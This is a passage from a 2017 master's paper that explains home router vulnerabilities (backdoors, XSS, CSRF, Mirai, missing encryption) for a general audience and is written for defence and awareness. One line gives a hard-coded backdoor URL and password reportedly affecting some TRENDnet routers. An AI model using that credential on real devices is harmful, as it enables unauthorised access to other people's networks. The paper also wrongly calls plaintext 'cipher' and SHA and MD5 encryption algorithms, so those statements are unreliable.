St. Cloud State University

theRepository at St. Cloud State
Culminating Projects in Information Assurance

Department of Information Systems

12-2017

So You Think Your Router Is Safe?
Patrick Ilboudo
St. Cloud State University, ilboudopatrick@hotmail.com

Follow this and additional works at: https://repository.stcloudstate.edu/msia_etds
Recommended Citation
Ilboudo, Patrick, "So You Think Your Router Is Safe?" (2017). Culminating Projects in Information Assurance. 45.
https://repository.stcloudstate.edu/msia_etds/45

This Starred Paper is brought to you for free and open access by the Department of Information Systems at theRepository at St. Cloud State. It has been
accepted for inclusion in Culminating Projects in Information Assurance by an authorized administrator of theRepository at St. Cloud State. For more
information, please contact rswexelbaum@stcloudstate.edu.

1

So You Think Your Router Is Safe?
by
Patrick T. Ilboudo

A Starred Paper
Submitted to the Graduate Faculty of
St. Cloud State University
in Partial Fulfilment of the Requirements
for the Degree of
Master of Science
in Information Assurance

December, 2017

Committee:
Jim Q. Chen, Chairperson
Abdullah Abu Hussein
Balasubramanian Kasi

2
Abstract
A home router is a common item found in today’s household and is seen by most
as just an Internet connection enabler. Users don’t realize how important this single
device is in terms of privacy protection. The router is the centerpiece through which all
the household Internet activities including ecommerce, tax filing and banking pass
through. When this central device is compromised, users are at risk of having personal
and confidential data exposed. Over the past decade, information security professionals
have been shedding light on vulnerabilities plaguing consumer routers. Yet, most users
are unaware of all the different ways a router can be compromised and tend to focus
only on setting up a strong password to stop the neighbor from piggy backing on the
Internet. This paper attempts to bring more awareness on the issues of vulnerable
routers, provides a non-technical explanation of common vulnerabilities, and suggests
action steps that can be taken by users to protect themselves. The results of the
research show that router vulnerabilities remain a security threat and users are not
equipped to mitigate it.
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Chapter I: Introduction
Since the advent of Internet, the number of connected devices has been
increasing exponentially. While mobile wireless connection has been gaining ground,
millions of routers still conveniently provide Internet connection without major setup.
Over the last decade, a wide range of security flaws have been found in these routers.
Recent discoveries and attacks show that SOHO (Small Office Home Office) routers are
still vulnerable and being exploited causing a lot of prejudice to users and organizations.
On November 2016, more than 900,000 routers from the German Deutsche Telekom
suffered a denial of service attack for two consecutive days following an attempt to
exploit a flaw to turn the routers into zombies (Paganini, 2016). In March 2017, security
researchers at the United States Computer Emergency Readiness Team (CERT)
disclosed several vulnerabilities on some D-Link routers. One vulnerability allows a
remote attacker to gain access to the administrator web page. Another vulnerability
allows the disclosure of the administrator password (Olenick, 2017), and many more
vulnerabilities can lead to total compromise of the device. According to a report from the
security firm Trend Micro, more than 600 router vulnerabilities have been disclosed
between 1999 and January 2017 (Costoya et al., 2017).
Motivation
The motivation to conduct this research is drawn from different observations:


Security vulnerabilities on routers are silent threats that do not get the attention
they deserve because news tend to focus on reporting high profile events such
as the Target or the Equifax breaches. Popular media rarely have a segment

8
related to router security but when they do, the focus is more on Wi-Fi protection
rather than a full-blown router security.


Some router vulnerabilities are extremely dangerous and no antivirus or anti
malware could protect the users from having their personal information and
identity stolen.



Two years ago, a wardriving was performed in a town in Minnesota and the
findings reveal that 2% of the Wi-Fi signals captured used an obsolete encryption
methodology called WEP. A preliminary conclusion that can be made can infer
that some users are not security conscious either because they don’t understand
the consequences or simply because they don’t have the information or don’t
know what to do with the information.



Information on router vulnerabilities can be highly technical in a way that can
discourage the average user from reading, learning, and understanding more.

Following these observations, it was necessary to research the subject with the ultimate
goal to bridge the knowledge gap.
Problem Statement
Consumer routers are plagued by many vulnerabilities due primarily to faulty
designs by manufacturers. It is exacerbated by users’ lack of knowledge of these
vulnerabilities because they are not widely publicized and can be technical. This leads
to users’ inadequate actions in securing routers. The literature review (further discussed
in the “Related Work” section) revealed that extensive technical studies were made on
router vulnerabilities. However, a very few have been conducted to provide a
comprehensive list of router vulnerabilities, their remedies and action steps users can
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take to protect themselves. This research is designed to fill in this gap by providing a
comprehensive list of vulnerabilities affecting routers, discussing the causes of these
vulnerabilities as well as possible remedies, and providing action steps that users can
take to secure their routers.
Nature and Significance of the Problem
Routers’ vulnerabilities come in different severity and exploitability levels. In 2013
and 2014 (Waugh, 2013; Netgear, Linksys, 2014), backdoors were discovered on more
than 19 routers models from makers such as TrendNet, Netgear, Linksys, Cisco and
Belkin. This backdoor gave unrestricted access to the router’s administration features.
This vulnerability could allow hackers to monitor user traffic, capture unencrypted data,
reroute user traffic to malicious sites, infect routers, etc. The Federal Trade Commission
(FTC) filed law suits against the maker of the Asus (Asus, 2016) and D-Link routers
(Federal Trade Commission v. D-LINK Corporation and D-LINK Systems, Inc., 2017)
because of major vulnerabilities in their devices that led to the theft of personal and
sensitive data for some consumers. In some other instances, people have lost money
from their bank accounts due to the router being manipulated and directed to malicious
web servers. The vulnerabilities affected as many as 400,000 devices.
Objective of the Study
Some of the questions that have motivated this research study are: what are the
vulnerabilities affecting routers? What are the causes of these vulnerabilities? What if
anything can the users do to protect themselves? The study is primarily geared towards
the general users and intended to:
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Increase awareness on router vulnerabilities given that most users don’t know of
the different ways routers can be compromised



Explain the vulnerabilities and the impact of exploited routers in a non-technical
way to make it easier to understand



Educate users on router security best practices

Router manufacturers and programmers could also benefit from this study as it
discusses causes and solutions of routers vulnerabilities at the programmer level and
help understand the impact of flawed routers on consumers. In summary, this study
proposes a taxonomy that helps identify and classify threats to vulnerable routers, and
recommendations to users on choosing and securing routers.
Related Work
Multiple researches and technical papers have been published in regard to router
securities, each of them addressing specific aspects. Niemietz and Schwenk (2015)
tested the security features of 10 brands of routers and all were found to have various
types of vulnerabilities. Their method of testing consisted in setting up a malicious
website with embedded attack scripts and luring the victims to the site so that their web
browser can load and execute the scripts. Their study focused on the routers’
administration pages and they found the pages to be vulnerable to stored and reflected
Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF), and UI redressing.
Karamanos (2010) focused on the attack vectors, Davis and Chow (2014) focused on
the reason why routers are vulnerable, Independent Security Evaluators (2013) focused
on testing the router services. Each of the documents provide a clear and concise
technical description on the topic at hand. One common feature among the technical
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papers is the use of the technical language, preventing understanding for people not
familiar with the jargon. These papers seemed to be appropriate for a security savvy
audience. Another common trait of the papers is the lack of clear and concise
recommendation for action steps that users can take to protect themselves. Michael
Horowitz has tried to solve this latter issue by putting together through his website
routersecurity.org a list of recommended configurations that users can implement to
secure their routers. However, without the context and the link to router vulnerabilities
and threats, users may have difficulties understanding the relevance of each of the
recommendation. Additionally, some of the recommendations require an above average
knowledge in security and networking. M. Moberg (2008) described proactive steps
users can take to fortify the security of their routers. Among others, the author
prescribes changing default passwords, activating MAC address filtering, creating
subnet, etc. While this work lays down some ground work on how to secure home
routers, it addresses mainly close proximity threats (such as an attacker across the
street) but does not address most recent online threats. While others have addressed
multiple different aspects of router vulnerabilities, the approach of the problem in this
study is different. This study goes beyond enumerating router vulnerabilities by
describing their characteristics, cause, and possible mitigation in non-technical manner.
Recommendations on how to secure routers are provided to users. Additionally, a
taxonomy to help categorize and classify threats to vulnerabilities is proposed.
Outline
The research is organized as follows: the first part presents the general router
technology and discusses the current state of router insecurity exploring some possible
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causes. The second part starts with a description of specific vulnerabilities found on
routers. They were chosen based on factors including the wide spread of the
vulnerability, the impact on the router, the severity of the vulnerability and other
considerations. Each vulnerability is described and explained as to provide information
on the cause, effect, and any remedial action the user can take to mitigate. This is
followed by a discussion about the financial impact of router insecurity. Part three uses
a taxonomy to classify the characteristics of the vulnerabilities described in part two,
after reviewing previous attempts to do so and other related studies. The last chapter is
made of two parts. The first part represents an analysis of the research findings. The
second part discusses action steps every user can take to protect their router, from the
purchase consideration to the frequent checks in the router administration web page.
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Chapter II: Background
What is a Router?
“Routers are small electronic devices that join multiple computer networks
together via either wired or wireless connections” (Mitchell, 2017). The router main
function is to forward data packets to the appropriate computer on the network (OSI
Layer 3). Structurally, the router is made of components similar to a computer: a Central
Processing Unit (CPU, or Controller Chip); various types of memories (Read-Only
memory-ROM, Random Access Memory-RAM, Flash Memory); and several interfaces
(CAVC, 2009). The CPU executes the programs, the memories store information the
router needs to operate and the interfaces are used for network connection locally
(LAN) or the wide network (WAN).

Figure 2.1: The Inside of a router
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In terms of software, the router uses an embedded Operating System (OS) with
similar function as Microsoft Windows OS and other operating systems. Some of the
most used router OS include DD-WRT, OpenWRT and Cisco Internetwork Operating
System (IOS). “These operating systems are manufactured into a binary firmware
image and are commonly called router firmware” (Mitchell, 2017).
Beyond the simple network connection and packets forwarding, routers are
manufactured with additional functionalities to improve productivity (USB port to share
storage device files), quality/service (Quality of Service, Guest network, etc.), security
(encryption, MAC address filtering, etc.), management and more functions.
Routers are sometimes assimilated with modem. According to Per Christensson,
a modem is a device similar to a router but whose function is to access the Internet
through a connection to the Internet Service Provider (ISP). Therefore, the modem
provides the Internet connection and the router route the Internet traffic to the
appropriate computer on the network. Routers and modems coexist today as two
separate devices, however they can also exist combined into one device (2013).
Router’s general features. Routers have various features to help users better
manage their online experience. Most features are present on virtually any router while
others may be found on specific products. Netgear N600 model WNDR3400 is a
popular router and packs some interesting features:


Guest network: this is a common feature on routers allowing the segmentation
and creation of a guest network. With the guest network, users don’t need to give
away their password for the main network and reduces the risk of sniffing.
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USB Storage: this is a feature that is becoming popular in routers. The owner of
the router can attach a storage device to the router through a USB port and allow
users on the network (and potentially remote users as well) to access its content.



Remote management: when turned on, this feature allows the owner of a router
to access and manage the device across the Internet. It is usually recommended
to keep this feature turned off.



Access control using MAC address filtering: Media Access Control (MAC)
address filtering enables the administrator to allow or deny connection to the
router to devices based on the MAC address. The MAC address is a 48-bit
addressing system embedded in the network card and is unique to every
manufacturer. For that matter, two devices on the network will have different
MAC addresses. It should be noted that MAC addresses can be easily spoofed
by hacking software.



Parental Control, Block Sites and Services and Schedule: these features aim at
imposing some restrictions on the use of the Internet in the network. The
Schedule function turns on and off the wireless signal based on a given
schedule; the Block Sites and Services enables site blocking based on specific
URL or site categories (adult, social media, etc.); the Parental Control feature
regroups the two previously cited functions and more.
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Figure 2.2: Router features (from Netgear N600 WNDR3400v3 web admin page)
Some statistics. According to a 2013 U.S. Census bureau report, 74.4% of the
318 million people in the U.S. (in 2013) had access to Internet. That was roughly 237
million people. “The most common household connection type was via a cable model
(42.8 percent), followed by mobile broadband (33.1 percent) and DSL connections (21.2
percent)” (File & Ryan, 2014). The same research described that 78.5% of all
households reported having a desktop or laptop and 63.6% possessed a handled
computer (File & Ryan, 2014). According to the US census bureau website (retrieved
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July 30, 2017), there were 325 million people in the U.S., a progression of 2% over the
last 4 years (U.S. Census Bureau, 2017). Additionally, according to the “Internet Live
Stats” data, there were 287 million Internet users in the United States in 2016 and 3.7
billion worldwide (Internet Users, 2017). These staggering numbers show the extent of
the Internet connectivity and the potential number of people that can be affected by
insecure routers.
Home router manufacturer and market shares. The home router business is a
competitive area with companies producing and releasing devices that are meant to be
reliable, easy to use and secure for the customer. CRN published the top bestselling
router brands in Q4 2016 and the number are as follows: Cisco with 22.1%, Netgear
with 21.9%, TP-Link with 18.9%, Linksys with 5.7% share and the remaining 31.4%
share is distributed between other manufacturers. (Haranas, 2017). Note needs to be
made that CRN did not provide the specification whether the numbers are for home
routers specifically or all router types including enterprise type routers.
State of Router Insecurity
A Trend Micro research published in January 2017 revealed that 600 router
vulnerabilities were reported by researchers and attributed a Common Vulnerabilities
Exposure (CVE) number between 1999 and January 2017. The 600 vulnerabilities
account for those with CVE numbers only, while many others many not have been
disclosed or do not have a CVE number (Costoya et al., 2017). In the past five years,
more computer security experts brought forth the attention of the user community to the
router insecurity problem. Two German security experts, Niemietz and Schwenk (2015)
tested 10 different routers and found each to have at least 3 vulnerabilities. The
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Independent Security Evaluators experts published a catalog of 55 new vulnerabilities
found on 13 different routers. The vulnerabilities made it possible for a hacker to
compromise the routers at different levels from the local area network or across the
Internet (“Catalog Revision 1”, 2013). Security researchers at the software security
company Tripwire released a report finding that “80 percent of Amazon’s top 25 bestselling SOHO wireless router models have security vulnerabilities and 34 percent of the
top 50 selling models have publicly documented exploits that make it relatively simple
for attackers to craft either highly targeted attacks or general attacks targeting any
vulnerable systems they can find” (SOHO Wireless Router (In)Security, 2014, p.2). The
January 2017 Trend Micro report also explained various ways routers are exploited and
provided mitigation techniques for the users (Costoya et al., 2017).
If router vulnerabilities have been around since 1999, why has awareness only
been increasing over the past 5 years? Security expert Steve Christey (one of the
creators of the Common Vulnerabilities and Exposures - CVE), in an interview accorded
to Davis and Chow for their research gave his opinion on the state of router security.
The following is an excerpt from the paper:
Despite the recent surge in security vulnerabilities discovered, Christley does not
believe any specific phenomenon related to SOHO routers has occurred but
rather views the process as a common cycle in the security industry. Security
vulnerabilities exist in products and software for years without anyone noticing.
Eventually, researchers or attackers identify a class of products with security
deficiencies and suddenly a flood of vulnerabilities are discovered and
awareness is raised. Christley refers to this as the Pig Pile Effect and he believes
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that the SOHO router industry is currently undergoing this process. Thus, the
security vulnerabilities in SOHO routers have most likely existed for years without
anyone noticing. (Davis & Chow, 2014, p. 14)
Security mindset. The lack of security mindset among SOHO router
programmers is the primary factor to blame for insecure routers. In fact, many
programmers do not apply secure techniques when developing software. Secure
programming is an ensemble of techniques used to develop software that are bug free,
vulnerabilities free, robust, and resilient. Some of the principles in secure programming
are input validation, least privilege principle, avoid information/data leakage, etc. The
lack of the security mindset can be observed in many of the vulnerabilities found in
routers. Two of the researches (Independent Security Evaluators, 2013 and Costoya et
al., 2017) discussed in this paper characterized one aspect of the lack of security
mindset as “Assumption of Security on the (W)LAN”. As the term explained,
programmers sometimes assume that anyone accessing the networking has been fully
vetted and is in fact a legit user. This notion dismisses the possibility that a hacker can
break into the network either directly through password cracking or indirectly through
proxy computers. This faulty assumption leads to several issues: sensitive data such as
username and password files stored in clear text, lack of encryption to critical services
including the router web administration page, lack of authentication and improper
permissions to services and files. Some of the vulnerabilities that will be reviewed later
arise strictly form this faulty assumption of security on the (W)LAN.
Design and implementation. Poor design and secure implementation is also to
blame when considering some vulnerabilities such as Command Injection, Cross Site
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Scripting and Cross Site Request Forgery. Chavan and Meshram (2013) provided a
classification of various web application vulnerabilities and some apply to routers given
that they use a web application interface (and server). Some of these vulnerabilities fall
in the poor design/secure implementation category. One additional issue plaguing
routers’ security is the module/code reuse. In 2013 a backdoor vulnerability was found
on TP-LINK, Linksys and Netgear routers. Interestingly, the backdoor vulnerability
across the three vendors was the same. The backdoor was accessed the same way (by
requesting the same URL) and the password needed was the same across all three
manufacturers.
Because this backdoor exists across multiple manufacturers and appears to have
multiple sources even from within the same manufacturer, we speculate that this
backdoor’s presence is an artifact of using sample code, or example code
provided by a chipset manufacture, where the authors (maybe carelessly) chose
to copy it. This repeated reuse of obviously vulnerable source code demonstrates
a lack of care in security review, as well it raises the questions as to what other
code based incorporate propagated malicious or vulnerable code….
(Independent Security Evaluators, 2013, p.10)
In the same aspect, Comcast, Time Warner Cable and Charter had similar
vulnerabilities afflicting their dual router/cable modem (Whittaker, 2016). The common
denominator for these 3 giants was the modem manufacturer Arris. Since the same
vulnerability affected all three clients, a plausible hypothesis can be made that Arris
reused some piece of codes across the routers they built for all three communication
companies.
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Limitation. Another aspect contributing to routers’ vulnerability is their limitation
in terms of computation power. Routers are miniature computers with minimal
resources. For example, the ASUS TR-AC66U released in 2012 came with 600 MHZ of
processor, 256MB of RAM and 128MB of flash memory (Farquhar, 2017) as compared
with the Samsung Galaxy S5 phone released in 2014 with 2GB of RAM, 32GB of
embedded memory and a quad-core processor at 2.5GHZ (Samsung Galaxy S5). With
the limited resources, routers are not able to run additional protective programs such as
antimalware and anti-viruses in addition to running the OS and the services. David
Schwartzburg attempted to run an Intrusion Detection System (IDS) called Snort on a
Linksys WRT54GS v2.1 router (8MB of flash memory, 32 MB of RAM and 200MHz
processor) which caused the device to crash or the IDS to stop because 67% of the
total RAM was used by Snort. (2005, p.11). Below is a sample comparative table for
some randomly selected routers, plus the Samsung Galaxy S5 phone.

Table 2.1: Resources comparison
Router
Linksys WRT54GS
v2.1
Netgear N300
ASUS TR-AC66U
Linksys
WRT3200ACM MUMIMO
Samsung Galaxy S5

Released
2005

Processor
200 MHz

RAM
32 B

Flash Memory
8 MB

Not Available
2012
2016

480 MHz
600 MHz
1.8GHz

128 MB
256 MB
512 MB

128 MB
128 MB
256 MB

2014

2.5GHz

2 GB

32 GB

Nature of the market. The nature of the router market is another point affecting
the security of the routers. The market is competitive with each manufacturer trying to
push products out in the shortest time possible without strong consideration for security.
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Cost of development is cut with the code reuse in order to maximize return on
investment. New features are added to attract customers and these features represent
additional attack surfaces that can be leveraged by hackers. “Vendors and consumers
tend to value functionality and speed and rarely consider security… Routers tend to
have long lifespans and vendors rarely have the financial incentive to patch older
models even if they are still in widespread use. When vendors do patch models, they
tend to only patch the models explicitly shown to have vulnerabilities and not their sister
products that often have the same software and therefore the same vulnerabilities”
(Davis & Chow, 2014, p. 14).
The role of the user. Users also play an important role in the security of their
own routers. A 2016 survey on 2000 U.K. broadband users showed that 54% of
respondents are (very and somewhat) concerned with the probability of their routers
being hacked. However, 19% have accessed the router administration web page, 17%
of the respondents have taken steps to change the router administration password and
only 14% have updated the router software (“Half of British broadband users,” 2017). A
Tripwire research reported that 46% of the sample surveyed revealed that they never
changed the default administrative password on their router; 84% have never changed
the default IP address of the router; 59% responded negative to the question whether
the router firmware was up to date and 68% declared not knowing how to update the
router firmware (“SOHO Wireless router (In) Security,” p. 4,5,7). The results of the two
surveys show two important things: (1) most users are not security/technological savvy
and (2) while they be aware of the security risk, they do not take (or know how to take)
the preventive and mitigating steps.
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Except for computer security professionals and other security savvy people, the
general user does not understand how their router can be compromised from across the
Internet or within their own network. There seems to be a false sense of security when
surfing on the Internet behind the home router. People think that as long as they have a
good antivirus on their computer, they are safe from all the insecurity of the Internet. It is
forgotten that the router is the device providing the connection to the Internet. If this
central device is compromised, antiviruses and antimalware loaded on personal
computers may not be of any use. The general population does not understand the
concept of IP addressing, firewall, encryption, remote management, MAC address
access control and other features presented on the router administration page. Most
users may not even know that the default username and password to their model of
router can be found online through a simple search. Additionally, when the user does
not understand all the functionalities offered through the router web admin page, the
most common reaction is to leave everything as it is, in default configuration.
Consequently, most users don’t take the precautionary steps to strengthen the router.
Aside from taking precautionary actions to secure the routers, users may not be
taking action to fix current potential security issues with their devices for various
reasons:


Lack of information: security vulnerabilities related to routers are not broadcasted
on television or popular news channels. Rather, they are exposed in specialized
publications and channels that most users don’t know of. Consequently, a
vulnerable household router may go unpatched for years.
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The information is not in intelligible: the following is an excerpt describing a router
vulnerability
“The Linksys WRT310v2 router is susceptible to a reflective Cross-Site scripting
attack, which allows an attacker inject JavaScript and/or HTML code into the
victims browser” (Independent Security Evaluators, 2013, p. 45). Without a clear
understanding of all the key terms in the publication, most users may not
understand this vulnerability.



They don’t know what to do: from the results of the Tripwire survey mentioned
above, 68% of respondents don’t know how to update a router firmware.

From the user standpoint, the mistake of not taking precautionary and remedial actions
contributes to the exasperation of the current state of router insecurity.
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Chapter III: Methodology
This chapter explains the methodology used to gather information regarding
router vulnerabilities.
Design of the Study
This study is based on findings from various security publications and researches
specifically applied to routers. A qualitative study design is best suited for this research
for various reasons:


The data that is expected to be collected is primarily qualitative and mostly
unknown



The extent/depth of information that can captured is partly unknown



Qualitative study design provides flexibility and allows for adjustment to new
findings learned during data collection



This study design is suited for in-depth research and understanding of a problem

Information Collection
Information on router vulnerabilities was collected from various sources including
white papers published by security professionals, research papers by scholars, theses,
books, and online publications. The initial review of each resource was the most difficult
yet important step. This step was difficult since most of the sources reviewed were
technical and discussed various topics that were new to the author. These initial reviews
provided the foundation in understanding the subsequent description of router
vulnerabilities and needed to be properly conducted. Therefore, the following initial data
collection was devised:
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Step 1: Review a sample of papers to identify the type of information that can be
collected. During this initial step, three main papers were reviewed: Owning your
Home Router Network: Router Security Revisited by Niemietz and Schwenk
(2015), Soho Network Equipment and the Implications of a rich service set by the
Independent Security Evaluators (2013) and Security Vulnerabilities in SOHO
routers by Heffner and Yap (2009). For each paper that was reviewed, a
summary of the main focal points was drafted. These focal points include the
focus of the paper, the testing results, the characteristics of the vulnerabilities
that were discovered, etc. The summary of Niemietz and Schwenk paper review
is provided below as example
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Table 3.1.1: Sample paper summary 1

Focus

Results

Method of
Evaluation

Evaluation
Results

Assumption
& Settings

Vulnerability

Title: Owning your Home Router Network: Router Security
Revisited (http://ieeesecurity.org/TC/SPW2015/W2SP/papers/W2SP_2015_submission_9.
pdf)
Focus on security of the Web interface of several DSL home routers.
Analyze the security of these Web interfaces against different Webbased attacks with a special focus on XSS and UI redressing attacks
All 10 testing routers were found to have a XSS, UI redressing, and/or
TLS vulnerability. Success of these attacks give the attacker full
access to the Web Admin page, so many things can be done (see first
page of paper). Some routers have functions allowing remote access,
DNS settings, configuring the phone number, etc..
Attacker sets up a website and lures the victim to this site. Once the
malicious website is loaded in the victim's browser, JavaScript code
may be executed, subject to the restrictions imposed by the Same
Origin Policy and related Web Standards (e.g. CORS). The attacker
may send requests to the default URLs of the router (URL used by
admin to define options).
All routers were evaluated regarding their default configuration
(username, password, services, etc.). If the default passwords are not
changed, routers that submit this password via an HTML form (Web
Method) can be compromised. Because of the restrictions imposed by
the missing Cross-Origin Resource Sharing (CORS) support of the
router webservers, we were not able to use default passwords in
HTTP Basic authentication.
Assume the victim's browser has a valid login on the configuration
Web Page. Attacker does not have access to the router by being
connected with it. CSRF cannot be carried out when a router is
protected by HTTP basic authentication in the case that the user is not
logged in.
Stored XSS / Reflected XSS / CSRF with default passwords / Lack of
encryption to access the admin page for Most routers
UI Redressing (clickjacking and tabjacking) will mostly work with
Firefox and non-updated browser. Most browser should have an anti
UI mechanism in place. So it is important to update browsers
A successful UI requires a victim who is directly connected with the
router and thus allowed to configure it, to type in a username and two
times a password into text input fields
No password for router administration
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Table 3.1.2: Sample paper summary 2

Attack
Vector
Admin
web
page
Admin
web
page
Admin
web
page
Admin
web
page
Admin
web
page


Attack
Origin

Vulnerability

Victim's
Active
Involvement

Malicious
website

Reflected
XSS

NO

Malicious
website

Stored XSS

NO

Malicious
website

UI Redressing

YES

Prerequisite
for Attack
Success

Consequence

New session

Admin page
compromise

New session

Admin page
compromise

Malicious
website

CSRF

NO

Active
session
Admin active
session
(preferably)

LAN

HTTP (no
encryption)

NO

New session

Admin page
compromise
Admin page
compromise
Admin page
compromise

Step 2: Information comparison. The type of information captured from the three
documents is compared and merged to create a set of basic information to be
extracted from future reading. A summary of the information that is expected to
be captured in provide in the table below

Table 3.2: Information summary
Vulnerability Name
Means of exploit
Severity level

Vulnerability Description
Consequences of successful
exploit
Victim's active involvement

Is there a solution?

is there a CVE number?

Cause of the vulnerability
Prerequisites to exploit
vulnerability
is it preventable?
Device and Manufacturer
information
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Armed with the basic information to be on the lookout for, all other documents
were reviewed. When appropriate, background information useful in understanding
some concepts were also flagged.


Step 3: Vulnerability occurrences and scale. In this step, all the vulnerabilities
captured from the various sources are cataloged by name. The number of
occurrences is counted to determine the prevalence of a specific vulnerability.
Care was taken to remove possible duplicate, based on the vulnerability and the
affected manufacturers and models. Based on the findings, the most occurring
vulnerabilities were Cross Site Scripting, Cross Site Request Forgery, lack of
encryption, Buffer Overflow. During the study, vulnerabilities affecting hundred
thousand or more routers were also included not necessarily because of the
occurrences of the vulnerability but because of the scale of it.



Step 4: Vulnerability verification. Once the vulnerabilities to be presented were
selected in the previous step, there was a need to verify whether the choice was
valid. To do so, the website CVE Details (http://www.cvedetails.com/) was used
to get an overview of vulnerabilities trend over time on four major manufacturers:
Netgear, Linksys, Asus and Tp-link. The table below summarizes the most
occurring vulnerabilities by percentage of vulnerabilities as categorized by CVE
Details.
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Table 3.3: Vulnerabilities trend

Netgear
Linksys
Asus
Tp-Link
Average %

Code
Execution
28
10.8
30
7.1
18.975

XSS
Netgear
Linksys
Asus
Tp-Link
Average %

5.3
9.2
15
10.7
10.05

DoS
24
33.8
5
10.7
18.375

CSRF
2.7
4.6
10
7.1
6.1

Gain
Information
14.7
13.8
15
0
10.875

Overflow
10.7
10.8
20
0
10.375

Directory
Bypass
Traversal something
6.7
9.3
0
3.1
2.5
5
14.3
3.6
5.875
5.25

Once the cvedetails.com data supported the choice of a vulnerability to be
described, all the information is gathered for redaction.
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Chapter IV: Router Vulnerabilities
According to the 2017 Trend Micro report, there were more than 600 flaws
reported in routers between 1999 and January 2017 (Costoya et al., 2017), averaging to
about 31 vulnerabilities per year. Some vulnerabilities require the attacker to be on the
same network as the router to exploit them, while others can be exploited across the
Internet. Some require the participation of the victim user for the exploit to work, while
others do not. This chapter dedicated to vulnerabilities is made of two parts: the first
section reviews historical count of flaws found on three major manufacturers that are
Linksys, Netgear and D-Link, in addition to describing malware that have affected
routers; the second section explains modern vulnerabilities that have been found on
routers.
Historical Data and Events
The nature and the number of vulnerabilities found on routers vary. Some routers
may have one vulnerability while others have multiple. From the hacker standpoint, all it
takes is one vulnerability. Leveraging one useable and exploitation vulnerability is
sometimes enough to break in the system, find some other vulnerabilities and
eventually seize entire control of the router.
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Netgear Vulnerabilities by Year
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Figure 4.1: Netgear router vulnerabilities by year

Linksys Vulnerabilities by Year
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Figure 4.2: Linksys router vulnerabilities by year
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D-Link Vulnerabilities by Year
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Figure 4.3: D-Link router vulnerabilities by year

Table 4.1: Total vulnerabilities (for D-Link, Linksys and Netgear routers, per year)
Year
2001 2002 2003 2004 2005 2006 2007 2008
Vulnerabilities
8
21
4
12
18
25
10
21
Year
2009 2010 2011 2012 2013 2014 2015 2016 2017
Vulnerabilities
9
5
5
4
9
18
15
12
28

Among all the malware that have targeted routers over the past decade, two of
them stood out: Psyb0t and Mirai
Psyb0t. Psyb0t appeared in early 2009 as the first malware to target DSL
modems and routers to turn them into bots. The malware affected routers using MIPS
processors and Linux Mipsel operating systems, when the router administration page,
the telnet or the SSH (Secure Shell) service are available to the LAN/WAN and
protected by weak credentials, or no credentials at all. The malware included the
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shellcodes for more than 30 different Linksys router models, 10 Netgear models, and 15
other models of cable modems. The botnet used a list of 6000 usernames and 13,000
passwords for brute force attack and can also exploit the phpMyAdmin and MySQL
servers of the devices. The infection was almost undetectable by the typical user
(Nenolod, 2009 ; Nusca, 2009).
Mirai. Mirai is the most recent malware that was known to infect Internet of
Things (IOT) devices (CCTV cameras, DVRs, and any other Internet-connected
appliances) including routers and turning them into a botnet. “Mirai works by exploiting
the weak security on many IoT devices. It operates by continuously scanning for IoT
devices that are accessible over the Internet and are protected by factory default or
hardcoded user names and passwords” (“Symantec Security Response,” 2016). On
October 21, 2016, a distributed denial of services leveraging the botnet created by the
malware was launched against the domain name system provider Dyn. This caused
hours of inaccessibility to multiple high-profile websites such as Netflix, Twitter, Amazon
and Airbnb. The subsequent analysis of the malware source code revealed that it uses
a list of 63 username and password to brute force the targets. Further investigation
following the attacked uncovered 49,657 devices over 164 countries hosting the
malware (Herzberg, n.d.)
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Figure 4.4: Countries with the most router attacks (Q1-Q3 2016)

Router Vulnerabilities
In the following section, some specific vulnerabilities that affect routers will be
discussed. They were selected based on the frequency of occurrence, their damaging
consequences, the timeliness of the vulnerability publication, the known actual size of
the impact of the vulnerability to users.
Backdoors. PC tools defines a backdoor as “an undocumented method of
gaining access to program or a computer by using another installed program … that
bypasses normal authentication…” (“Software Backdoors,” n.d.). Backdoors are used in
programming for various reasons including troubleshooting, maintenance, and remote
access of the systems they are installed on. They are usually not documented because
of their highly sensitive and risky nature and most of the time only the main
programmer(s) are aware of their existence. While backdoors are created by
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programmers for legitimate reasons, hackers can also insert backdoors on finished
programs for malicious purposes.
Creating backdoors during software development does not represent a serious
threat. Failing to remove them when the finished product goes from development to
commercialization is what makes them dangerous. This is exacerbated when the
password to the backdoor is hard coded in the program or is written as a note/comment
in between the lines of the program codes.
Exploiting backdoor programs may require the attacker to be on the same
network as the target system/device. However, if the system/device has the remote
management feature enabled, the attack can be carried from anywhere across the
Internet. As mentioned above, backdoors bypass normal authentication and most of the
time grants full administrator privileges. Consequently, an exploited backdoor on a
router may give the hacker the same administrative privileges as the owner of the
device. The hacker can redirect the router Internet traffic through his own servers
allowing him to view and intercept any transient information. The attacker can also trick
the users into entering their credentials on malicious replicate of legitimate websites
(Facebook, Google, etc.). The attacker can also add an administrator credentials and
turn on the remote administration on the router to access it through the Internet.
Basically, backdoors lead to full router compromise.
Backdoors program can be discovered through what is called a static code
analysis. A static code analysis implies the manual (not automated) review of every line
of codes of the program. This requires a highly skilled professional and is both time
consuming and costly. As a user, there is no possible prevention or mitigation of a
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backdoor installed on a router. The fix can only come through the router manufacturer
through a patch or a firmware upgrade.
In 2013, a backdoor was found on three different models of TRENDnet routers.
All three models would allow a connection to the router upon requesting the same page,
using the same password: http://x.x.x.x/backdoor?password=j78G-DFdg_24Mhw3 where “x.x.x.x” is the IP address of the router (CVE-2013-336, CVE-2013-3367). In
2013, D-Link routers were affected by a backdoor which could allow remote access
(Waugh, 2013). In 2014, routers from manufacturers such as Belkin, Cisco, Netgear and
Linksys were also found to have backdoors (Andreko, 2014). A more disturbing threat
was made public by a developer named Samy Kankar who showed how he can create
a backdoor on a computer and a router with a $USD 5 device. (Storm, 2016).
Lack of encryption. Encryption can be defined as the “conversion of electronic
data into another form…which cannot be easily understood by anyone except
authorized parties” (Rouse, 2014). In other words, encryption takes a set of intelligible
data and transforms it into a readily unintelligible data to a third party using an algorithm
(the mathematical process creating the coded text) and a key (the unique and
unpredictable code that allows encryption and decryption). The plain text is called the
cipher, the unintelligible data is called ciphertext. Encryption is primarily used to protect
confidential data traveling over the network (or at rest in a hard drive). Encryption
became an essential part of data transfer communication since Internet became a
popular tool.
When two parties use encryption for confidential communication, both parties
need the algorithm and the key to encrypt and decrypt the data. Any third party that
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captures the communication should not be able to decrypt the information to discover
the original message. SSL/TLS (Secure Sockets Layer/Transport Layer Security) is de
facto the protocol used to secure communication over a network. Data at rest on the
drive can also be encrypted using different algorithms (SHA, MD5, etc.) and a salting
method.
Encrypting network communication and data at rest became a strict minimum
